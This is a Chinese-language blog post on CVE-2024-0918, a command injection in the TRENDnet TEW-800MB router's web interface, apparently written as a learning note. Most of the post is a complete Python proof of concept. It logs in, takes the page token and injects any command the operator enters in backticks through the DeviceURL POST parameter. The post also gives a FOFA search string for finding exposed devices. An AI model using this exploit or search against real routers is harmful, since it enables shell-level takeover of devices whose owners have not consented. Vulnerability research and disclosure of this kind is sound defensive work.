CVE-2024-0918
免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!
漏洞名称
TRENDnet TEW-800MB POST 请求操作系统命令注入漏洞
漏洞影响
TRENDnet TEW-800MB 1.0.1.0
漏洞描述
固件版本为1.0.1.0的TEW-800MB路由器存在命令注入漏洞。如果攻击者获得了web管理权限,他们可以将命令注入到httpd未知函数中的post请求参数DeviceURL中,从而获得shell权限。该漏洞可以在本地Intranet上执行,如果启用了远程管理,则可以远程执行。
代码分析
在未知函数中,参数DeviceURL可以被用户控制,存在命令注入漏洞按照DeviceURL的值,发现system()函数调用
环境设置:
环境配置请参考如下链接
https://github.com/pr0v3rbs/FirmAE
最终搭建好是这个样子
FOFA搜索语句
"TRENDnet-TEW"
poc
poc文件内容如下
import requests
import base64
import re
if __name__ == '__main__':
print('start !!! ')
target = input("Enter Target IP : ")
username = input("Enter Username : ")
password = input("Enter Password : ")
cmd = input("Enter you want cmd : ")
auth = username + ":" + password
hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
s = requests.Session()
headers = {
'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
'Accept-Language': "en-US,en;q=0.5",
'Accept-Encoding': "gzip, deflate, br",
'Authorization': f'Basic {hash}',
'Connection': "close",
'Cookie': "expandable=6c",
'Upgrade-Insecure-Requests': "1"
}
response = s.request("GET", f'http://{target}/adm/management.asp', headers=headers)
data = response.text
token_pattern = r'name="token" value="([^"]+)"'
token_match = re.search(token_pattern, data)
if token_match:
token_value = token_match.group(1)
else:
token_value = "Token not found"
print(token_match)
exit
burp0_url = "http://" + target + "/uapply.cgi"
burp0_headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Authorization': f'Basic {hash}',
'Connection': 'close',
'Cookie': 'expandable=6c',
'Upgrade-Insecure-Requests': '1'
}
# Form data to be sent in POST request
burp0_data = {
'page': '/adm/management.asp',
'token': f'{token_value}',
'DeviceURL': f'tew-800mb`{cmd}`',
'action': 'Apply',
'apply_do': 'setDeviceURL',
}
s.post(burp0_url, headers=burp0_headers, data=burp0_data)
print("end !!! ")
命令注入成功
修复建议
升级到最新版本。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果